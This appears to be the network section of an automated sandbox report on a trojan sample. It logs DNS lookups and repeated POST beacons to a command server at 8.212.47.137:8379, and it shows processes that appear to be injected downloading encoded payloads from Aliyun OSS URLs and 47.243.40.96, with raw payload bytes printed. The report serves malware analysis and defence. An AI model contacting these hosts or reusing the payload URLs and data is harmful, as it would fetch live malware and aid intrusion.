Apr 19, 2024 01:34:54.593349934 CEST	80	49740	47.56.33.29	192.168.2.6
Apr 19, 2024 01:35:14.640347004 CEST	80	49751	47.56.33.29	192.168.2.6
Apr 19, 2024 01:35:14.640407085 CEST	49751	80	192.168.2.6	47.56.33.29
Apr 19, 2024 01:35:28.825920105 CEST	49759	443	192.168.2.6	20.25.241.18
Apr 19, 2024 01:35:28.825977087 CEST	443	49759	20.25.241.18	192.168.2.6
Apr 19, 2024 01:35:28.826077938 CEST	49759	443	192.168.2.6	20.25.241.18
Apr 19, 2024 01:35:28.827081919 CEST	49759	443	192.168.2.6	20.25.241.18
Apr 19, 2024 01:35:28.827116013 CEST	443	49759	20.25.241.18	192.168.2.6
Apr 19, 2024 01:35:29.208595037 CEST	443	49759	20.25.241.18	192.168.2.6
Apr 19, 2024 01:35:29.208690882 CEST	49759	443	192.168.2.6	20.25.241.18
Apr 19, 2024 01:35:29.212147951 CEST	49759	443	192.168.2.6	20.25.241.18
Apr 19, 2024 01:35:29.212171078 CEST	443	49759	20.25.241.18	192.168.2.6
Apr 19, 2024 01:35:29.213103056 CEST	443	49759	20.25.241.18	192.168.2.6
Apr 19, 2024 01:35:29.215939045 CEST	49759	443	192.168.2.6	20.25.241.18
Apr 19, 2024 01:35:29.216090918 CEST	49759	443	192.168.2.6	20.25.241.18
Apr 19, 2024 01:35:29.216121912 CEST	443	49759	20.25.241.18	192.168.2.6
Apr 19, 2024 01:35:29.216403961 CEST	49759	443	192.168.2.6	20.25.241.18
Apr 19, 2024 01:35:29.260157108 CEST	443	49759	20.25.241.18	192.168.2.6
Apr 19, 2024 01:35:29.337883949 CEST	443	49759	20.25.241.18	192.168.2.6
Apr 19, 2024 01:35:29.338071108 CEST	443	49759	20.25.241.18	192.168.2.6
Apr 19, 2024 01:35:29.338155031 CEST	49759	443	192.168.2.6	20.25.241.18
Apr 19, 2024 01:35:29.338337898 CEST	49759	443	192.168.2.6	20.25.241.18
Apr 19, 2024 01:35:29.338360071 CEST	443	49759	20.25.241.18	192.168.2.6
Apr 19, 2024 01:35:29.338390112 CEST	49759	443	192.168.2.6	20.25.241.18
Apr 19, 2024 01:36:02.888228893 CEST	49751	80	192.168.2.6	47.56.33.29
Apr 19, 2024 01:36:02.888295889 CEST	49749	80	192.168.2.6	47.243.40.96
Apr 19, 2024 01:36:03.753086090 CEST	49751	80	192.168.2.6	47.56.33.29
Apr 19, 2024 01:36:03.753106117 CEST	49749	80	192.168.2.6	47.243.40.96
Apr 19, 2024 01:36:05.348838091 CEST	49751	80	192.168.2.6	47.56.33.29
Apr 19, 2024 01:36:05.536447048 CEST	49749	80	192.168.2.6	47.243.40.96
Apr 19, 2024 01:36:08.645698071 CEST	49751	80	192.168.2.6	47.56.33.29
Apr 19, 2024 01:36:09.033376932 CEST	49749	80	192.168.2.6	47.243.40.96
Apr 19, 2024 01:36:14.989703894 CEST	49751	80	192.168.2.6	47.56.33.29
Apr 19, 2024 01:36:15.833211899 CEST	49749	80	192.168.2.6	47.243.40.96
Apr 19, 2024 01:36:27.645662069 CEST	49751	80	192.168.2.6	47.56.33.29
Apr 19, 2024 01:36:29.348778963 CEST	49749	80	192.168.2.6	47.243.40.96
Apr 19, 2024 01:36:52.942452908 CEST	49751	80	192.168.2.6	47.56.33.29
Apr 19, 2024 01:36:56.333182096 CEST	49749	80	192.168.2.6	47.243.40.96
Apr 19, 2024 01:37:03.200402021 CEST	49760	443	192.168.2.6	20.25.241.18
Apr 19, 2024 01:37:03.200479984 CEST	443	49760	20.25.241.18	192.168.2.6
Apr 19, 2024 01:37:03.200572968 CEST	49760	443	192.168.2.6	20.25.241.18
Apr 19, 2024 01:37:03.201328993 CEST	49760	443	192.168.2.6	20.25.241.18
Apr 19, 2024 01:37:03.201364994 CEST	443	49760	20.25.241.18	192.168.2.6
Apr 19, 2024 01:37:03.573144913 CEST	443	49760	20.25.241.18	192.168.2.6
Apr 19, 2024 01:37:03.573257923 CEST	49760	443	192.168.2.6	20.25.241.18
Apr 19, 2024 01:37:03.575059891 CEST	49760	443	192.168.2.6	20.25.241.18
Apr 19, 2024 01:37:03.575083971 CEST	443	49760	20.25.241.18	192.168.2.6
Apr 19, 2024 01:37:03.575417995 CEST	443	49760	20.25.241.18	192.168.2.6
Apr 19, 2024 01:37:03.578973055 CEST	49760	443	192.168.2.6	20.25.241.18
Apr 19, 2024 01:37:03.579065084 CEST	49760	443	192.168.2.6	20.25.241.18
Apr 19, 2024 01:37:03.579081059 CEST	443	49760	20.25.241.18	192.168.2.6
Apr 19, 2024 01:37:03.579174995 CEST	49760	443	192.168.2.6	20.25.241.18
Apr 19, 2024 01:37:03.624119997 CEST	443	49760	20.25.241.18	192.168.2.6
Apr 19, 2024 01:37:03.700252056 CEST	443	49760	20.25.241.18	192.168.2.6
Apr 19, 2024 01:37:03.700316906 CEST	443	49760	20.25.241.18	192.168.2.6
Apr 19, 2024 01:37:03.700401068 CEST	49760	443	192.168.2.6	20.25.241.18
Apr 19, 2024 01:37:03.700617075 CEST	49760	443	192.168.2.6	20.25.241.18
Apr 19, 2024 01:37:03.700647116 CEST	443	49760	20.25.241.18	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 19, 2024 01:33:32.674150944 CEST	56541	53	192.168.2.6	1.1.1.1
Apr 19, 2024 01:33:33.008466005 CEST	53	56541	1.1.1.1	192.168.2.6
Apr 19, 2024 01:33:35.111265898 CEST	61514	53	192.168.2.6	1.1.1.1
Apr 19, 2024 01:33:35.463691950 CEST	53	61514	1.1.1.1	192.168.2.6
Apr 19, 2024 01:33:53.252151012 CEST	59865	53	192.168.2.6	1.1.1.1
Apr 19, 2024 01:33:53.579282045 CEST	53	59865	1.1.1.1	192.168.2.6
Apr 19, 2024 01:36:39.759399891 CEST	138	138	192.168.2.6	192.168.2.255

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Apr 19, 2024 01:33:30.120825052 CEST	47.108.224.157	192.168.2.6	cfd4	(Unknown)	Destination Unreachable
Apr 19, 2024 01:33:31.111901045 CEST	47.108.224.157	192.168.2.6	cfd4	(Unknown)	Destination Unreachable
Apr 19, 2024 01:33:33.111418962 CEST	47.108.224.157	192.168.2.6	cfd4	(Unknown)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 19, 2024 01:33:32.674150944 CEST	192.168.2.6	1.1.1.1	0x24a3	Standard query (0)	gfak.oss-cn-hongkong.aliyuncs.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 01:33:35.111265898 CEST	192.168.2.6	1.1.1.1	0x57d5	Standard query (0)	site01.skfcafob.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 01:33:53.252151012 CEST	192.168.2.6	1.1.1.1	0x200c	Standard query (0)	cq-aliyun.oss-cn-hongkong.aliyuncs.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Apr 19, 2024 01:33:33.008466005 CEST	1.1.1.1	192.168.2.6	0x24a3	No error (0)	gfak.oss-cn-hongkong.aliyuncs.com	47.79.64.164	A (IP address)	IN (0x0001)	false
Apr 19, 2024 01:33:35.463691950 CEST	1.1.1.1	192.168.2.6	0x57d5	No error (0)	site01.skfcafob.com	23.248.236.58	A (IP address)	IN (0x0001)	false
Apr 19, 2024 01:33:53.579282045 CEST	1.1.1.1	192.168.2.6	0x200c	No error (0)	cq-aliyun.oss-cn-hongkong.aliyuncs.com	47.56.33.29	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

slscr.update.microsoft.com

site01.skfcafob.com

8.212.47.137:8379

gfak.oss-cn-hongkong.aliyuncs.com

cq-aliyun.oss-cn-hongkong.aliyuncs.com

47.243.40.96

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49710	8.212.47.137	8379	3368	C:\Windows\System32\sihost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 01:33:00.220283985 CEST	64	OUT	POST / HTTP/1.1 Host: 8.212.47.137:8379 Content-Length: 96
Apr 19, 2024 01:33:00.888091087 CEST	207	IN	HTTP/1.1 200 OK Server: nginx/1.16.0 Date: Thu, 18 Apr 2024 23:33:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.3.29 Data Raw: 31 0d 0a 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 110

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49712	8.212.47.137	8379	2432	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 01:33:00.273838043 CEST	64	OUT	POST / HTTP/1.1 Host: 8.212.47.137:8379 Content-Length: 96
Apr 19, 2024 01:33:00.912533998 CEST	207	IN	HTTP/1.1 200 OK Server: nginx/1.16.0 Date: Thu, 18 Apr 2024 23:33:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.3.29 Data Raw: 31 0d 0a 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 110

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49714	8.212.47.137	8379	2432	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 01:33:01.227972031 CEST	64	OUT	POST / HTTP/1.1 Host: 8.212.47.137:8379 Content-Length: 96
Apr 19, 2024 01:33:01.861932039 CEST	207	IN	HTTP/1.1 200 OK Server: nginx/1.16.0 Date: Thu, 18 Apr 2024 23:33:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.3.29 Data Raw: 31 0d 0a 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 110

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49715	8.212.47.137	8379	3368	C:\Windows\System32\sihost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 01:33:01.405066013 CEST	64	OUT	POST / HTTP/1.1 Host: 8.212.47.137:8379 Content-Length: 96
Apr 19, 2024 01:33:02.049022913 CEST	207	IN	HTTP/1.1 200 OK Server: nginx/1.16.0 Date: Thu, 18 Apr 2024 23:33:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.3.29 Data Raw: 31 0d 0a 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 110

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49716	8.212.47.137	8379	3368	C:\Windows\System32\sihost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 01:33:05.498172998 CEST	65	OUT	POST / HTTP/1.1 Host: 8.212.47.137:8379 Content-Length: 144
Apr 19, 2024 01:33:06.139539957 CEST	207	IN	HTTP/1.1 200 OK Server: nginx/1.16.0 Date: Thu, 18 Apr 2024 23:33:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.3.29 Data Raw: 31 0d 0a 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 110

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49719	8.212.47.137	8379	3368	C:\Windows\System32\sihost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 01:33:06.681720018 CEST	65	OUT	POST / HTTP/1.1 Host: 8.212.47.137:8379 Content-Length: 144
Apr 19, 2024 01:33:07.316217899 CEST	207	IN	HTTP/1.1 200 OK Server: nginx/1.16.0 Date: Thu, 18 Apr 2024 23:33:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.3.29 Data Raw: 31 0d 0a 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 110

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49728	8.212.47.137	8379	3368	C:\Windows\System32\sihost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 01:33:28.836939096 CEST	65	OUT	POST / HTTP/1.1 Host: 8.212.47.137:8379 Content-Length: 144
Apr 19, 2024 01:33:29.484133005 CEST	207	IN	HTTP/1.1 200 OK Server: nginx/1.16.0 Date: Thu, 18 Apr 2024 23:33:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.3.29 Data Raw: 31 0d 0a 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 110

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49731	8.212.47.137	8379	3368	C:\Windows\System32\sihost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 01:33:32.821284056 CEST	65	OUT	POST / HTTP/1.1 Host: 8.212.47.137:8379 Content-Length: 144
Apr 19, 2024 01:33:33.486958027 CEST	207	IN	HTTP/1.1 200 OK Server: nginx/1.16.0 Date: Thu, 18 Apr 2024 23:33:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.3.29 Data Raw: 31 0d 0a 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 110

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49733	47.79.64.164	80	7124	C:\Windows\SysWOW64\CertEnrollCtrl.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 01:33:34.783000946 CEST	227	OUT	GET /cccccc.txt HTTP/1.1 Connection: Keep-Alive User-Agent: User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.87 Safari/537.36 Host: gfak.oss-cn-hongkong.aliyuncs.com
Apr 19, 2024 01:33:35.083975077 CEST	700	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Thu, 18 Apr 2024 23:33:34 GMT Content-Type: text/plain Content-Length: 152 Connection: keep-alive x-oss-request-id: 6621ADCE84CC8A3036F59E69 Accept-Ranges: bytes ETag: "257F848F3BFCF8C008FCADF072727C52" Last-Modified: Wed, 13 Mar 2024 06:30:10 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 1508958821945962141 x-oss-storage-class: Standard x-oss-ec: 0048-00000113 Content-Disposition: attachment x-oss-force-download: true Content-MD5: JX+Ejzv8+MAI/K3wcnJ8Ug== x-oss-server-time: 1 Data Raw: 64 66 47 56 54 54 36 59 63 45 62 56 32 62 4e 32 72 78 41 43 6e 48 7a 63 44 52 39 30 38 6c 30 70 77 61 51 73 4f 75 57 33 54 78 34 50 62 6b 6e 54 37 30 58 32 55 5a 56 52 45 6c 5a 4b 74 6c 7a 64 36 6d 75 4b 6a 65 61 36 71 32 39 71 46 4c 4a 44 75 71 45 2f 39 31 62 50 59 51 66 6d 52 4a 76 6c 33 36 47 70 48 59 2b 4a 75 67 59 49 65 73 4e 2f 37 58 42 41 55 34 2b 7a 79 78 38 66 51 38 41 4b 7a 56 4b 4b 4e 57 53 66 54 4f 2f 75 31 54 78 33 69 49 79 70 54 41 3d 3d Data Ascii: dfGVTT6YcEbV2bN2rxACnHzcDR908l0pwaQsOuW3Tx4PbknT70X2UZVRElZKtlzd6muKjea6q29qFLJDuqE/91bPYQfmRJvl36GpHY+JugYIesN/7XBAU4+zyx8fQ8AKzVKKNWSfTO/u1Tx3iIypTA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49738	8.212.47.137	8379	3368	C:\Windows\System32\sihost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 01:33:53.156219006 CEST	65	OUT	POST / HTTP/1.1 Host: 8.212.47.137:8379 Content-Length: 144
Apr 19, 2024 01:33:53.788255930 CEST	207	IN	HTTP/1.1 200 OK Server: nginx/1.16.0 Date: Thu, 18 Apr 2024 23:33:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.3.29 Data Raw: 31 0d 0a 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 110

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49740	47.56.33.29	80	5804	C:\Windows\System32\AppHostRegistrationVerifier.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 01:33:53.918736935 CEST	99	OUT	GET /64/pk20.txt HTTP/1.1 Connection: Keep-Alive Host: cq-aliyun.oss-cn-hongkong.aliyuncs.com
Apr 19, 2024 01:33:54.252454996 CEST	1289	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Thu, 18 Apr 2024 23:33:54 GMT Content-Type: text/plain Content-Length: 3992 Connection: keep-alive Vary: Accept-Encoding x-oss-request-id: 6621ADE28A23F730300536DF Accept-Ranges: bytes ETag: "71B39D1BB3036212D7175677815F0C6E" Last-Modified: Thu, 18 Apr 2024 17:06:13 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 11716427813362300725 x-oss-storage-class: Standard x-oss-ec: 0048-00000113 Content-Disposition: attachment x-oss-force-download: true Content-MD5: cbOdG7MDYhLXF1Z3gV8Mbg== x-oss-server-time: 2 Data Raw: 44 62 56 67 2b 63 4a 48 76 43 41 77 54 4a 41 4b 76 72 61 51 36 34 6c 76 52 4b 33 6a 63 63 51 50 61 6e 79 46 51 2b 65 77 52 6f 6a 69 77 44 4e 61 6d 42 33 6e 56 36 4b 68 50 31 37 79 55 48 38 2f 43 33 6d 69 4c 73 39 53 37 59 4c 31 70 61 32 7a 77 64 4a 4c 49 35 51 56 78 2b 62 53 61 6a 4b 74 58 76 6e 49 2f 62 63 48 32 4f 64 6c 4a 43 68 68 68 61 4f 68 4b 64 33 59 57 50 54 35 31 6f 62 59 73 76 58 54 49 53 5a 50 30 43 71 53 54 31 31 4f 34 6c 32 4a 4a 54 63 7a 51 43 4f 58 6f 6c 6f 6d 45 50 66 6b 63 78 6f 64 54 49 38 65 34 63 35 75 77 70 77 42 47 6b 4f 77 53 32 5a 34 43 5a 64 49 53 73 39 30 31 77 34 50 4d 56 54 59 2f 79 43 63 69 53 35 70 57 52 72 4a 65 46 76 54 63 35 4f 6b 52 4c 4c 75 76 67 31 45 31 57 6e 48 61 6b 73 4c 76 33 79 69 42 52 6e 59 42 4b 64 69 35 56 34 70 43 67 6f 47 67 45 39 73 44 47 33 4b 68 42 56 54 38 4e 47 33 35 4f 4e 49 2f 75 59 45 32 39 6a 47 61 6a 55 34 57 45 68 59 58 4c 71 31 7a 2b 78 50 43 39 4c 37 6b 63 31 77 70 31 61 42 67 30 72 7a 68 51 39 2b 67 69 57 31 77 41 48 64 64 36 51 54 50 41 7a 33 74 59 55 61 54 6f 6a 62 61 6a 67 6d 35 6b 66 6d 70 73 46 45 75 71 2b 75 49 4e 38 4b 6c 2f 2b 51 7a 75 52 6d 57 66 46 6a 2f 64 2b 75 39 37 4e 33 55 75 73 56 35 49 70 76 62 48 39 44 66 52 44 4f 4f 76 4c 2f 53 4b 4a 67 4c 67 78 71 44 6c 57 64 45 49 75 71 79 50 51 42 4a 39 47 62 73 6b 63 77 41 4d 35 71 46 4b 51 61 69 52 63 54 5a 58 55 37 63 65 64 78 4e 76 7a 44 76 51 4f 58 58 68 6b 36 4b 72 58 50 37 45 38 4c 30 76 75 52 7a 58 43 6e 56 6f 47 44 53 76 4e 70 63 75 34 58 74 31 6d 70 66 4c 4c 6c 6c 53 4f 6c 72 59 74 6e 52 65 50 65 6a 61 59 73 44 42 35 64 63 74 6a 4b 57 63 70 55 44 32 75 77 4e 76 69 6f 58 67 38 58 75 71 58 4d 6e 4e 59 67 46 68 69 32 32 4d 76 74 58 4a 2b 2b 2b 45 61 6e 37 70 4d 50 50 6c 4a 42 77 37 63 71 57 34 48 48 73 76 57 73 50 76 7a 53 50 31 79 73 51 63 50 43 61 75 43 30 62 68 6f 59 32 2f 4e 62 34 79 2b 32 7a 50 36 4d 30 54 38 71 7a 49 43 6a 44 59 66 64 6a 4d 34 65 6c 68 6a 36 4b 56 44 63 55 50 59 72 44 32 31 53 65 62 48 57 71 56 75 59 59 4d 79 74 57 43 37 30 6d 2b 53 63 6c 59 7a 71 49 57 7a 68 47 74 62 55 37 4a 4a 6a 73 4c 32 50 33 31 77 42 6c 33 62 79 4a 48 71 43 68 6e 59 35 71 61 33 66 50 68 42 50 Data Ascii: DbVg+cJHvCAwTJAKvraQ64lvRK3jccQPanyFQ+ewRojiwDNamB3nV6KhP17yUH8/C3miLs9S7YL1pa2zwdJLI5QVx+bSajKtXvnI/bcH2OdlJChhhaOhKd3YWPT51obYsvXTISZP0CqST11O4l2JJTczQCOXolomEPfkcxodTI8e4c5uwpwBGkOwS2Z4CZdISs901w4PMVTY/yCciS5pWRrJeFvTc5OkRLLuvg1E1WnHaksLv3yiBRnYBKdi5V4pCgoGgE9sDG3KhBVT8NG35ONI/uYE29jGajU4WEhYXLq1z+xPC9L7kc1wp1aBg0rzhQ9+giW1wAHdd6QTPAz3tYUaTojbajgm5kfmpsFEuq+uIN8Kl/+QzuRmWfFj/d+u97N3UusV5IpvbH9DfRDOOvL/SKJgLgxqDlWdEIuqyPQBJ9GbskcwAM5qFKQaiRcTZXU7cedxNvzDvQOXXhk6KrXP7E8L0vuRzXCnVoGDSvNpcu4Xt1mpfLLllSOlrYtnRePejaYsDB5dctjKWcpUD2uwNvioXg8XuqXMnNYgFhi22MvtXJ+++Ean7pMPPlJBw7cqW4HHsvWsPvzSP1ysQcPCauC0bhoY2/Nb4y+2zP6M0T8qzICjDYfdjM4elhj6KVDcUPYrD21SebHWqVuYYMytWC70m+SclYzqIWzhGtbU7JJjsL2P31wBl3byJHqChnY5qa3fPhBP
Apr 19, 2024 01:33:54.252480984 CEST	1289	IN	Data Raw: 56 37 56 77 2f 37 2f 56 72 37 4c 74 42 4c 64 2b 52 4b 36 47 56 34 30 5a 38 33 43 67 30 52 44 5a 78 4f 76 62 2b 6d 41 6c 77 50 55 43 57 6a 7a 39 2f 76 54 74 44 32 48 56 57 59 77 6d 4f 38 31 74 5a 50 6d 36 65 75 79 4c 68 57 41 58 65 59 43 59 41 47 Data Ascii: V7Vw/7/Vr7LtBLd+RK6GV40Z83Cg0RDZxOvb+mAlwPUCWjz9/vTtD2HVWYwmO81tZPm6euyLhWAXeYCYAG6ZgVFvt+ZnqSUo0UFaguBfgbHfe4Vec6b5N72tn4bXbmlSjIpV2d5DsSZg0xTiw07e1afe2hF4kXEK2rwvAHirawj74LtoIhjvOiAWv/4TTeXic+ynI5FSaS/BZV51tsmRKGVkGreosKZqUYQhQYDfvCdNOONEhZa
Apr 19, 2024 01:33:54.252505064 CEST	1289	IN	Data Raw: 59 38 77 2b 38 6a 6c 36 57 63 30 52 46 54 69 54 4f 79 35 4d 33 56 42 7a 6d 30 67 4a 59 59 4d 47 45 41 65 45 59 64 5a 37 69 34 6f 6b 6b 6a 43 33 33 31 51 68 69 64 59 55 66 78 72 39 68 74 35 72 62 54 43 54 69 37 51 2f 57 34 37 49 6e 6a 76 56 73 34 Data Ascii: Y8w+8jl6Wc0RFTiTOy5M3VBzm0gJYYMGEAeEYdZ7i4okkjC331QhidYUfxr9ht5rbTCTi7Q/W47InjvVs43wrKrlCzVPSibqdhrW4CotdhORS5itAN2AfKTeEbdB+oNE7jKr5kEgUV1X2n5KflHQDuGXLQ16ZKJLnXVEE8rJh6ga6Y3Cx0ADHXUHjfnx30+f09PI4G8gnaf2rMWqLkSDUDqBLsIiN5sHZXzM13+zj1RRC1IX332
Apr 19, 2024 01:33:54.252521038 CEST	698	IN	Data Raw: 37 6a 57 35 62 79 73 41 6d 75 62 45 79 31 7a 2b 78 50 43 39 4c 37 6b 63 31 77 70 31 61 42 67 30 72 7a 5a 4f 54 56 51 67 68 4d 31 30 71 4c 33 63 52 59 61 6d 76 42 6c 51 73 79 66 35 54 42 38 69 57 44 54 56 34 53 51 38 31 74 46 5a 53 4a 54 45 48 6a Data Ascii: 7jW5bysAmubEy1z+xPC9L7kc1wp1aBg0rzZOTVQghM10qL3cRYamvBlQsyf5TB8iWDTV4SQ81tFZSJTEHj71ju9fHyS10TdKJ0GOSOa0LN2uykl6BakIWzMZ9sJtnMH5rccb11+eIIw10imTx9UdyrXgm2XPZD10F0xBP6fjDe2Yis2Lw+RbSVLlksfL9u0r8wRuL2GyZFCr9F5RujFQXMCXDiK79yKjw1zt0oRAmAyXwrDHU62

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49743	8.212.47.137	8379	3368	C:\Windows\System32\sihost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 01:34:10.561593056 CEST	65	OUT	POST / HTTP/1.1 Host: 8.212.47.137:8379 Content-Length: 144
Apr 19, 2024 01:34:11.215854883 CEST	207	IN	HTTP/1.1 200 OK Server: nginx/1.16.0 Date: Thu, 18 Apr 2024 23:34:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.3.29 Data Raw: 31 0d 0a 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 110

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49746	8.212.47.137	8379	3368	C:\Windows\System32\sihost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 01:34:12.116147041 CEST	65	OUT	POST / HTTP/1.1 Host: 8.212.47.137:8379 Content-Length: 144
Apr 19, 2024 01:34:12.744712114 CEST	207	IN	HTTP/1.1 200 OK Server: nginx/1.16.0 Date: Thu, 18 Apr 2024 23:34:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.3.29 Data Raw: 31 0d 0a 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 110

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49748	8.212.47.137	8379	3368	C:\Windows\System32\sihost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 01:34:13.069782019 CEST	65	OUT	POST / HTTP/1.1 Host: 8.212.47.137:8379 Content-Length: 144
Apr 19, 2024 01:34:13.698734999 CEST	207	IN	HTTP/1.1 200 OK Server: nginx/1.16.0 Date: Thu, 18 Apr 2024 23:34:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.3.29 Data Raw: 31 0d 0a 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 110

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49749	47.243.40.96	80	7124	C:\Windows\SysWOW64\CertEnrollCtrl.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 01:34:13.242435932 CEST	39	OUT	GET /c HTTP/1.1 Host: 47.243.40.96
Apr 19, 2024 01:34:13.587088108 CEST	1289	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 23:34:13 GMT Content-Type: application/octet-stream Content-Length: 19901 Connection: keep-alive Last-Modified: Sat, 03 Feb 2024 01:45:40 GMT ETag: "65bd9ac4-4dbd" Accept-Ranges: bytes Data Raw: 30 30 30 30 34 64 62 64 30 30 30 30 33 61 34 31 6b 76 41 63 69 21 6e 71 71 4b 71 79 42 6c 39 72 51 74 74 6f 65 75 44 48 4e 42 33 4e 46 65 6e 4e 79 5a 4d 3b 39 39 4f 53 65 48 44 59 4a 35 4a 46 3b 51 62 72 4f 3b 35 52 51 63 5a 34 51 38 64 37 48 6c 37 45 49 72 54 30 72 6e 45 46 66 35 4d 69 4b 58 70 36 61 70 4d 67 41 38 45 42 59 78 6c 42 6b 58 47 79 41 47 6a 43 3a 65 51 35 3b 41 36 6e 61 61 38 6f 33 68 3a 54 63 54 63 55 4b 72 55 4e 31 52 68 79 3b 3a 44 51 54 47 39 70 4a 33 79 62 3a 6f 56 64 41 63 7a 65 41 59 48 46 32 76 51 35 75 67 36 48 37 42 4c 6e 6c 3a 47 49 38 4f 44 71 68 39 47 38 49 31 74 4c 46 4a 78 6e 75 63 48 30 73 43 6b 47 3a 54 4a 34 33 61 33 6c 67 6c 39 65 69 48 31 63 36 39 79 57 48 3b 5a 6b 71 54 51 4a 68 46 4a 6e 78 4f 37 33 68 66 59 68 45 71 75 53 49 6e 66 67 50 66 76 4d 3a 49 46 38 77 36 62 42 59 78 32 4f 37 4b 39 6c 58 32 65 45 6d 69 38 4f 52 33 6c 58 39 70 61 62 77 68 42 77 6f 6f 4f 68 47 6d 77 4b 64 73 6a 47 58 48 33 4b 34 69 75 4c 63 37 38 39 43 33 35 63 59 70 36 6a 78 62 56 34 43 70 66 5a 3b 73 69 68 59 52 30 48 6c 67 45 48 4e 71 47 50 6f 71 5a 6d 7a 4d 5a 69 71 6c 75 3a 79 36 6a 3a 46 32 55 48 73 34 50 36 59 44 65 6d 6e 73 6d 69 73 4b 46 49 68 6c 4e 66 72 41 31 42 7a 55 4e 39 73 6e 7a 51 76 74 53 62 50 41 69 37 53 4b 58 6b 5a 79 6c 6b 47 4e 69 31 3a 3a 6e 32 44 58 69 55 55 3a 7a 48 41 3a 58 6b 49 51 65 57 43 58 61 54 48 77 43 64 4a 68 62 65 38 78 71 4a 70 6e 62 33 69 65 44 50 4c 7a 73 56 3b 44 31 52 6f 6b 4b 49 69 36 57 6a 72 4e 6a 4c 63 62 